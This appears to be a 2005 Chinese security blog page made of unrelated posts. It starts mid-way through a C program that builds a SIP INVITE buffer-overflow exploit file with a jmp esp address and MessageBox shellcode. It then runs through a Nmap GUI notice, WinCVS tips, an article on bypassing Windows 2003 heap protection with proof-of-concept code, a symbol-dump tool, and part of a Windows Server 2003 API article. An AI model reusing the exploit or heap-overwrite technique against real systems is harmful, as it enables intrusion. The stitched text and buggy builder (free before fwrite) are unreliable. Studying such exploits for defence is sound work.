0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61

};



unsigned char jmpesp[] ={ //jmpesp=0×7ffa4512;

0×12, 0×45, 0xfa, 0×7f

};



unsigned char end[] = {

0×32, 0×33, 0×34, 0×35, 0×36,

0×37, 0×38, 0×39, 0×30, 0×31, 0×32, 0×33, 0×34, 0×35, 0×36, 0×37, 0×38, 0×39, 0×30, 0×31, 0×32,

0×33, 0×34, 0×35, 0×36, 0×37, 0×38, 0×39, 0×30, 0×31, 0×32, 0×33, 0×34, 0×35, 0×36, 0×37, 0×38,

0×39, 0×30, 0×31, 0×32, 0×33, 0×34, 0×35, 0×36, 0×37, 0×38, 0×39, 0×30, 0×31, 0×32, 0×33, 0×34,

0×35, 0×36, 0×37, 0×38, 0×39, 0×30, 0×31, 0×32, 0×33, 0×34, 0×35, 0×36, 0×37, 0×38, 0×39, 0×30,

0×31, 0×32, 0×33, 0×34, 0×35, 0×36, 0×37, 0×38, 0×3A, 0×30, 0×20, 0×50, 0×43, 0×4D, 0×55, 0×2F,

0×38, 0×30, 0×30, 0×30, 0×0D, 0×0A

};



unsigned char scode[] =

"\xB8"

"\x75\xC1\xe4\x88" //Address of MessageBoxA + 0×11111111

"\x2D\x11\x11\x11\x11\x50\x59\x33\xc0\x50\x68"

"\x68\x61\x63\x6b" //"hack"

"\x54\x5a\x50\x52\x52\x50\x53\x51\xc3";



//Shellcode:

//B8 75C1e488 MOV EAX,88e4C175 ; MessageBoxA + 0×11111111 to

//2D 11111111 SUB EAX,11111111 ; Make characters readable

//50 PUSH EAX ; xchg registers : eax = 77D3b064

//59 POP ECX ; Offset to API.

//33C0 XOR EAX,EAX ; Create Null

//50 PUSH EAX ; Put ascii0 end of string

//68 6861636b PUSH 6b636168 ; Create string.= hack

//54 PUSH ESP ; Get the offset to the

//5A POP EDX ; Message String

//MessageBox call

//50 PUSH EAX ; Null Pointer

//52 PUSH EAX ; Message

//52 PUSH EDX ; Message

//50 PUSH EAX ; Null Pointer

//53 PUSH EBX ; Return address: 0×00000000

//51 PUSH ECX ; Address of MessageBoxA

//C3 RETN ; Jump



int main()

{

FILE *stream;

unsigned char *exploitbuf;

int size;

char *filename = "sip_overbuf_exploit.dat";

DWORD msgboxaddr = (DWORD)MessageBoxA; //Windows XP EN SP2 MessageBoxA address = 0×77d6e824;

//If others, just change it;



size = sizeof(invite)+sizeof(jmpesp)+sizeof(end);

exploitbuf = (unsigned char *)malloc(size);

printf("exploitbuf len = %d\n", size);

memcpy(exploitbuf, invite, sizeof(invite));

memcpy(exploitbuf+sizeof(invite), jmpesp, sizeof(jmpesp));

memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), end, sizeof(end));

*(DWORD *)&scode[1] = msgboxaddr+0×11111111;

memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), scode, sizeof(scode));



if( (stream = fopen( filename, "w+b" )) == NULL )

printf("Build File Error!!!\n");

else

printf("Build File %s successful! ^_^\n", filename);



free(exploitbuf);

fwrite( exploitbuf, size, 1, stream );

fclose(stream);

}

2005年12月24日

Nmap是扫描软件中的巨无霸, 然而正是由于它的功能强大性及灵活性造成了很多安全爱好者对之望而却步.
即使是使用了比较多的大侠们, 可能都还有很多功能没有用上.
本软件就是在收集大家惯用的一些功能的情况下, 仿造NMAPFE(GTK)界面, 为nmap 3.90以后版本(包括最新的3.95, 从3.90开始中间的变化比较大)量身定做的一款图形化的工具软件.
它运行绝大部分常用的属性, 支持色彩模式, 加入更多的配置项, 让你能够轻易的使用Nmap的强大功能.
附件中加入了整理的"Nmap中文参考指南", 如果对您有所帮助将是我最大的荣幸…

本工具还在更新中, 如果您在使用过程中有任何问题, 希望能够不吝赐教.

Author : ZwelL
Email : zwell@sohu.com
Blog : http://www.donews.net/zwell


点击进入到下载地址

2005年12月21日

丢, 本来很简单的搞了久, 现在知道了. 走了一大圈弯路.

其实如果只是要check out的话完全没必要像网上说的那样要生成Private key并到sf.net上去上传.
先安装WinCVS, 再点击菜单Admin->Login, 在出现的对话框中设置好服务器地址, 项目目录等信息, 然后点确定完成设置. 一般sf上的项目都是有匿名权限的, 所以在出现的输入密码对话框中直接点击确定就可以解.
在信息栏中出现:
cvs -d :pserver:anonymous@cvs.sourceforge.net:/cvsroot/test login
如果***** CVS exited normally with code 0 *****, 则表示连接成功(我之前看列表视图中没出现项目还以为没连接成功能.)

完成以后, 点击Remote->CheckOut Moudle, 然后输入项目目录名, 这个在sf.net给的
web-based CVS repository viewer.中会给出Moudle名称, 然后点确定, 选择目录就开始下载了…

2005年10月21日
绕过win2003堆栈保护机制的新方法
http://www.51cto.com


近两年来windows的堆栈溢出问题变得愈来愈流行了。本文向读者介绍了常用的堆栈漏洞发现方法为啥对新平台(xp sp2和win
2003)不适用了,因为微软修改了winxp,winxp
sp1,和win2000的堆栈保护机制。文章告诉读者如何绕过第一层保护,来触发内存中的数据覆写。

Windows的堆栈溢出的概览

堆栈是一块块连续的内存结合,当一个程序要动态分配内存时,分配的动作将发生在堆栈中,象malloc(),GlobalAlloc(),
LocalAlloc()和HeapAlloc()等功能函数只是核心函数RtlAllocateHeap()的外衣,由ntdll.dll文件提供的
API负责在堆栈中分配内存。还有其他的Rtl*Heap()函数,负责生成和撤销堆栈,以及处理堆栈中的内存块。每个内存块都含有一个头,这个头详细描
述了本块和前一块的大小,块是否正在忙的状态,以及该块位于内存的哪个段位中,块头一般是8位长,接着是块在实际存储区域。如果块空闲,则有两个针指向该
标准头,这些针叫Flink和Blink,就是’前连’和’后连’的意思。参考图

当溢出发生时,当前临近块的指示头的结构就被覆写了,通过伪造‘恶意’值,将引起后续的堆栈操作,就可能触发一个任意的4字节内存覆写。其实这只是
发现堆栈机制的一个简单方法-叫做’切断连接’。假设我们来溢出一个自由块中的内容,以下2条汇编指令可以完成’切断连接’的过程:

mov [reg1], reg2 ; reg1=Flink

mov [reg2+4], reg1 ;reg2=Blink



这样伪造了Flink和Blink并导致4字节内存覆写后,下一步就可以获得控制权了。

Windows堆栈保护简介

常见的堆栈保护技术在windows XP,windows XP SP1和win2000等操作系统中使用得很好。但是随着windows 2003的出现,微软为了在分配和解除内存块之前验证块的有效性,对堆栈的管理例程和结构进行了修改,主要有:

在块头部分引入了‘安全标记项’(security cookie),块一旦被分配,该项就被检查以确保没有溢出发生;


行’切断连接’动作时,Flink和Blink指针也要作同样的检验,如果想发现堆栈溢出,黑客就必须克服这个标记验证项。同时微软还引入了其他一些保护
措施,主要是进程环境块随机化、特殊指针重新编码等,目的都是要减少那些‘固定的’和‘大家都知道的’函数指针的数量,这些指针通常能被全局的系统进程使
用,也成为了黑客喜欢利用的目标特权。

新机制仍有缺陷

新保护机制并非100%免疫堆栈溢出,第一个公布的绕过新堆栈保护机制的方法,
是针对了’边查表’(lookaside)列表的不存在校验的缺点提出的。’边查表’的第一个dword项,作为内存块简单连接表的开始,被标记为‘忙’
的状态,但却可以随时接受内存分配。当内存分配发生时,返回值可能是相应的’边查表’的开始区域:在’边查表’中只是用新分配区域块的Flink指针简单
替换’边查表’中原先的Flink指针。过程见图

 :

这种破解新机制的方法理论上不错,但实现起来比较麻烦,而且难以使用。如果我们需要做n个字节的覆写内存动作,必须执行以下6条:

1.分配n字节的区域(n<1016字节)

2.解除该区域:该区域在边查表中有登记

3.溢出发生在当前临近的区域中:我们可以用Flink指针操作当前空闲的区域

4.n个字节的区域被分配:我们伪造出来的指针被写进’边查表’

5.n个字节的第二个区域被分配:我们伪造的指针返回

6.从控制输入拷贝一个操作到缓冲区执行:这些字节被写进我们选中的位置。

可以看出,在程序中要实现上述绕过方法很难,因为堆栈必须有一个活动的而且是未上锁的’边查表’存在,才能使该方法奏效。

绕过堆栈保护机制的另外一个方法

这种方法至少覆写掉内存中的4个字节,通过溢出存储在进程默认
堆栈中的特殊结构来实现。和系统生成的其他堆栈一样,进程默认堆栈被许多windows应用编程接口用来存放与进程相关的信息和环境值。当一个DLL库被
加载后,主函数被执行,通常情况下数据可以被存放在进程堆栈中,如果这些数据片断被覆写该怎么办?

实际上即便是最简单的程序,象windows的记事本程序,也需要运行很多库文件来支持,仔细察看默认堆栈中的内存块,可以看到这些块有40个字节的长度,其中块头长度是8个字节。

结构如图

图中A是下一个40字节长的结构的地址,B是当前40字节长结构的地址。

注意:如果使用debugger创建这些结构,长度将变为56字节,多出的16字节是由"debug_process"标志产生的。

A和B行使了Blink和Flink指针的功能。X指向的结构实际上是’临街断面’,'临街断面’一旦初始化建立后,就会相应副产出一个40字节长
的连接结构用来跟踪临街断面,这些结构有些位于ntdll.dll动态库文件的数据区;当他们都被使用了,连接结构就被生成在默认堆栈中了。

如图

显示了一个进程的所有’临界断面’是如何连接在一起的。双连接的表提醒我们堆栈管理例程应该如何解除内存区块(chunks),破坏一个‘临界断面
’的过程中,我们也将把与之相应的连接结构从表中删除掉,如果我们交换A和B,我们就应该可以覆写掉4字节的内存。实际上,我们可以用debugger很
容易地发现负责处理解除连接进程的代码。(使用debugger用错误地址把A和B交换,从而去除临界断面,引发内存冲突)。以下汇编行被
RtlDeleteCriticalSection执行,需要配合的ntdll.dll文件版本是5.1.2600.2180:



mov [eax], ecx ; eax=B

mov [ecx+4], eax; ecx=A

进程终止过程中,会导致临界断面的破坏,这一点将确保覆写动作可以发生。



取得控制权

基于堆栈的缓冲溢出攻击的第一步是覆写内存;第二和第三步是选用恰当的值和位置来执行覆写。XP SP2以后由于引入新内存保护机制,原先的两种攻击方法(固定调用指令指针异常处理法、负载指针进程环境区域函数指针):


先的异常处理函数有固定的调用地址,由kernel32.dll文件提供的,SP2以后引入新保护机制,真实的调用地址被系统
NtQueryInformation进程生成的参数模糊掉了(xor-ed),新机制由ntdll.dll文件提供RtlEncodePointer函
数;

进程环境区域的位置也是随机确定的,所以使用原先的固定调用地址法,象调用AcquireFastPebLock或
ReleaseFastPebLock来覆写内存将失效。新的保护机制同样被植入了windows 2003 sp1系统中,windows 2003
sp0系统仅采用了普通堆栈保护机制。

结论和参考代码

通常情况进程结束时临界断面结构将被销毁,这样就意味着为了引发覆写动作就必须
强制生成一个能够摧毁程序的潜在攻击代码,而且溢出必须发生在进程默认堆栈中,需要一个最小的弹性方法来覆写一个联表机构。
但是在最新版的windows系统中生成一个内存覆写动作也是可能的,内存覆写是实现堆栈溢出攻击的前提步骤.

实现该方法的参考代码:

/*

——————————————————————————-

Simulates a heap overflow in a critical section linking structure,

and trigger a memory overwrite

Works with Microsoft Windows XP SP2 and Windows 2003 SP1

(c) Nicolas Falliere, 2005

——————————————————————————-

*/

#include

#include



// Saved initial "Cookie" buffer

const BYTE  init_buffer[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx";

// "Cookie" buffer

BYTE  buffer[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx";

LONG UEF(EXCEPTION_POINTERS *pEx)

{

printf("\n– In Final Exception Filter… —\n");

printf("Cookie=%s\n", buffer);

getchar();

ExitProcess(-1);



// Useless

return EXCEPTION_CONTINUE_SEARCH;

}



int main(void)

{

HANDLE            hHeap;

DWORD             *p;

INT               i;

CRITICAL_SECTION  cs[100];



hHeap = GetProcessHeap();

SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)UEF);

printf("Cookie=%s\n\n", buffer);

// Createa a critical section

for(i = 0; i < 300; i++)

{

InitializeCriticalSection(&cs[i]);

p = (DWORD *)(cs+i);

// Checks the linking structure is located on the heap

// Pre-allocated linking structures in ntdll’s data section get

// busy pretty quickly

if((p[0] > (DWORD)hHeap) && (p[0] < ((DWORD)hHeap + 0×10000)))

break;

}

printf("=> Critical section created\n");

printf("=> Linking structure at: %08x\n", p[0]);



p = (DWORD *)p[0];

printf("=> Before modification : A=%8X B=%8X\n", p[2], p[3]);

p[2] = 0×41414141;

p[3] = (DWORD)buffer;

printf("=> After modification  : A=%8X B=%8X\n", p[2], p[3]);



// This triggers the overwriting, and the exception

DeleteCriticalSection(cs+i);

// You should not see that (

printf("=> Critical section deleted\n");

return 0;

}

代码结尾。

//============================================================================

// LFVars : A small tool used to display function symbol informaton from EXE, DLL or PDB files

//         L(ist)F(untion)Vars: list function parameters and local variabls.

// Author : zyq654321 — Oct, 2004

// Comment: This is only a sample code to show you how to dump symbol information,

//          you can improve it and your advise is appreciated.

#include <windows.h>

#include <TCHAR.h>

#define _NO_CVCONST_H // We should define the constant in order to …

#include <dbghelp.h>

#include <stdio.h>

 

#pragma comment( lib, "dbghelp.lib" )

 

BOOL CALLBACK LFVarsCallback( SYMBOL_INFO* pSymInfo, ULONG SymbolSize, PVOID UserContext )

{   

     if( pSymInfo != 0 )

     {

         // Increase the counter of found local variables and parameters

         if( UserContext != 0 )

              *(int*)UserContext += 1;

         // list parameters or variables

         _tprintf(_T("Name: %s \n"),pSymInfo->Name);

         _tprintf(_T("    Type: %s   "),

                         (pSymInfo->Flags & SYMFLAG_PARAMETER) ? "Function Parameter" :

                         ( (pSymInfo->Flags & SYMFLAG_LOCAL)? "Local Variable": "Unknown"));

         TCHAR tcsReg[10];

         switch(pSymInfo->Register)

         {

         case 17:

              _tcscpy(tcsReg,_T("[EAX]"));

              break;

         case 18:

              _tcscpy(tcsReg,_T("[ECX]"));

              break;

         case 19:

              _tcscpy(tcsReg,_T("[EDX]"));

              break;

         case 20:

              _tcscpy(tcsReg,_T("[EBX]"));

              break;

         case 21:

              _tcscpy(tcsReg,_T("[ESP]"));

              break;

         case 22:

              _tcscpy(tcsReg,_T("[EBP]"));

              break;

         case 23:

              _tcscpy(tcsReg,_T("[ESI]"));

              break;

         case 24:

              _tcscpy(tcsReg,_T("[EDI]"));

              break;

         default:

              _tcscpy(tcsReg,_T("Unknown"));

              break;

         }

         _tprintf( _T("Register: %s  "), tcsReg );

         UINT uMax = 0xFFFFFFFF;

         _tprintf( _T("Address(Offset): %c0x%X   "),

                    (LONG)pSymInfo->Address >= 0? ‘ ‘ : ‘-’,

                   (LONG)pSymInfo->Address >= 0? pSymInfo->Address : (uMax – pSymInfo->Address + 1));

         _tprintf( _T("Size: %d \n"), pSymInfo->Size);

 

         //ShowSymbolDetails( *pSymInfo );

     }

 

     return TRUE; // Continue enumeration

}

 

int main( int argc, const TCHAR* argv[] )

{

     if(argc < 3)

     {

        goto FAILED_PARAM;

     }

 

     // Set debug options

     DWORD dwOpn = SymGetOptions();

     dwOpn |= SYMOPT_DEBUG;

     SymSetOptions(dwOpn);

 

     // Initilaize the symbol handle for the current process

     if(!SymInitialize( GetCurrentProcess(), 

                                    NULL,                

                               FALSE ))  

     {

         _tprintf(_T("Failed when SymInitialize():%d\n"), GetLastError());

         return 0;

     }

 

     if( argv[1] == NULL || argv[2] == NULL)

     {

         goto FAILED_PARAM;

     }

 

     //————————————————————————

     // Set initial parameters

     TCHAR pszExt[MAX_PATH];

     _tsplitpath( argv[1], NULL, NULL, NULL, pszExt );

     DWORD64 dw64Base     = 0; // if the image is a .pdb file, dw64Base cannot be zero.

                               // if the value is zero, the library obtains the load address

                               //  from the symbol file.

     DWORD   dwFileSize = 0; // if the image is a .pdb file, dwFileSize cannot be zero.

                                   // if the value is zero, the library obtains the size

                               //  from the symbol file.

 

     _tcslwr(pszExt);

     if(_tcsicmp(pszExt, _T(".pdb")) == 0)

     {

         // this is a .pdb file, and so we should set the load address and file size;

         dw64Base = 0×10000000;

         // get the file size

         HANDLE hFile = CreateFile( argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL );

         if( INVALID_HANDLE_VALUE == hFile )

         {

              _tprintf(_T("Failed when open %s: %d"), argv[1], GetLastError());

              goto FAILED_PARAM;

         }

         if( INVALID_FILE_SIZE == ( dwFileSize = GetFileSize(hFile, NULL) ))

         {

              _tprintf(_T("Failed when read the size of %s: %d"), argv[1], GetLastError());

              goto FAILED_PARAM;

         }

         CloseHandle(hFile);

     }

 

     //————————————————————————

     // Load symbol table

     _tprintf(_T("Load %s…..\n"), argv[1]);

     DWORD64 dw64ModAddress = SymLoadModule64( GetCurrentProcess(),

                                                     NULL,              

                                                     argv[1],          

                                                     NULL,              

                                                     dw64Base,         

                                                     dwFileSize);

 

     if( dw64ModAddress == 0 )

     {

         _tprintf(_T("Failed when SymLoadModule64(): %d \n"), GetLastError());

         return 0;

     }

     _tprintf(_T("Load Address: %I64x \n"), dw64ModAddress);

 

     //————————————————————————

     // Display the function parameters and local variables according to the

     //  specified function name.

     SYMBOL_INFO symInfo;

     symInfo.SizeOfStruct = sizeof(SYMBOL_INFO);   

     if(! SymFromName( GetCurrentProcess(),

                         argv[2],           

                         &symInfo) )

     {

         _tprintf( _T("Failed When SymFromName(): %d \n"), GetLastError() );

         goto FAILED_AFTER_LOAD;

     }

 

     // We only need functon symbol

     if( symInfo.Tag != SymTagFunction )

     {

         _tprintf( _T("Invalid Function Name or Not Found.\n") );

         goto FAILED_AFTER_LOAD;

     }

 

     // List funtion’s parameters and its local variables

     IMAGEHLP_STACK_FRAME stackFrm;

     stackFrm.InstructionOffset = symInfo.Address;

     if(!SymSetContext( GetCurrentProcess(),

                         &stackFrm,                

                         0 ))

     {

         _tprintf( _T("Failed when SymSetContext: %d \n"), GetLastError() );

         goto FAILED_AFTER_LOAD;

     }

 

     int nVarsCnt = 0;

     if(!SymEnumSymbols( GetCurrentProcess(),

                            0,                  

                            0,                  

                            LFVarsCallback, 

                            &nVarsCnt ) )

     {

         _tprintf( _T("Failed when SymEnumSymbols(): %d \n"), GetLastError() );

         goto FAILED_AFTER_LOAD; 

     }

 

     _tprintf( _T("%d function parmeters and local variables had been listed.\n"), nVarsCnt );   

 

 

FAILED_AFTER_LOAD:

     //————————————————————————

     // Unload symbols table

     if(!SymUnloadModule64( GetCurrentProcess(), dw64ModAddress ))       

     {

         _tprintf( _T("Failed when SymUnloadModule64() : %d \n"), GetLastError() );

     }

 

     if(!SymCleanup(GetCurrentProcess()))

     {

         _tprintf(_T("Failed when SymCleanup(): %d \n"), GetLastError());

         return 0;

     }

 

 

     return 0;

 

FAILED_PARAM:

     _tprintf(_T("Failed Parameter!\n"));

     _tprintf(_T("Usage: LFVars -filename -function_name\n"));

     _tprintf(_T("filename: a EXE, DLL or PDB file\n"));

     return 0;

}

探讨改进的系统信息 API、新内核 API、调试 API、安全 API 和 UI API

发布日期: 4/1/2004 | 更新日期:
4/1/2004

Windows Server 2003

Matt Pietrek

*

本文假设您熟悉 Windows、.NET 和 C++

Level of Difficulty 1 2 3

请下载本文的代码: WindowsServer2003.exe(1,024KB)

返回页首返回页首

摘要 关于 Windows Server 2003,我们有许多话要说。首先,它是第一个内置了 .NET 框架支持的操作系统,也是
Microsoft 推出的第一个 64 位操作系统。 但我们要讨论的不只这些! 这个操作系统版本中还有许多新特性和 API。 例如,Windows Server
2003 采用了“热添加内存”和许多其他巧妙的新功能。 系统中还包括新 API,用于处理线程、目录和文件,以及新特性,如用于管理内存和系统信息的低碎片堆。
此外,还有向量化异常处理和新 UI API。

操作系统内核领域的专家 Matt Pietrek 将讨论他认为最有趣和最有用的新内容,这样,在深入 Windows Server 2003
之前,您将有一个很好的开端。

返回页首返回页首

就年纪而言,我可能还不具备谈论这个话题的资格,但我的确记得过去的好时光 — 开发人员热切等待发布新 Windows 版本的那些日子。
新版本中会包含哪些新的特别吸引人的特性呢?这些好的特性又会有哪些用途呢? 随着 Microsoft .NET 框架的出现,在某些圈子里,开始流行这样一种言论 —
Windows 没有什么变化、不值得讨论。 有些人似乎认为,用哪个 Windows 版本作为运行平台都没有关系。

您可能已经猜到了,我可不属于这类人。 虽然我像任何其他人一样,是 Microsoft .NET 的忠实爱好者,但我仍然充满热情地扫描头文件,比较来自每个新
Windows 版本的系统 DLL 的导出。 我希望知道,Microsoft Windows 团队中的风云人物最近都在忙些什么。

Microsoft 推出的最新、最酷的操作系统就是 Windows Server? 2003,在我撰写本文时,它还处于发行候选版阶段。 在本文中,我将讨论
Windows Server 2003 中为应用程序级的程序员提供了哪些新的特别吸引人的特性。 不过,在深入探讨新 API
之前,了解一些背景信息会有助于您加深理解。

我们首先要确定这个“新”字的含义。 Windows Server 2003 是为了取代 Windows 2000 Server
系列(Server、Advanced Server 和 Datacenter Server)而推出的。 因此,原来出现在 Windows XP
里的操作系统特性中有许多在技术上可以属于本文中所说的“新”特性类别。

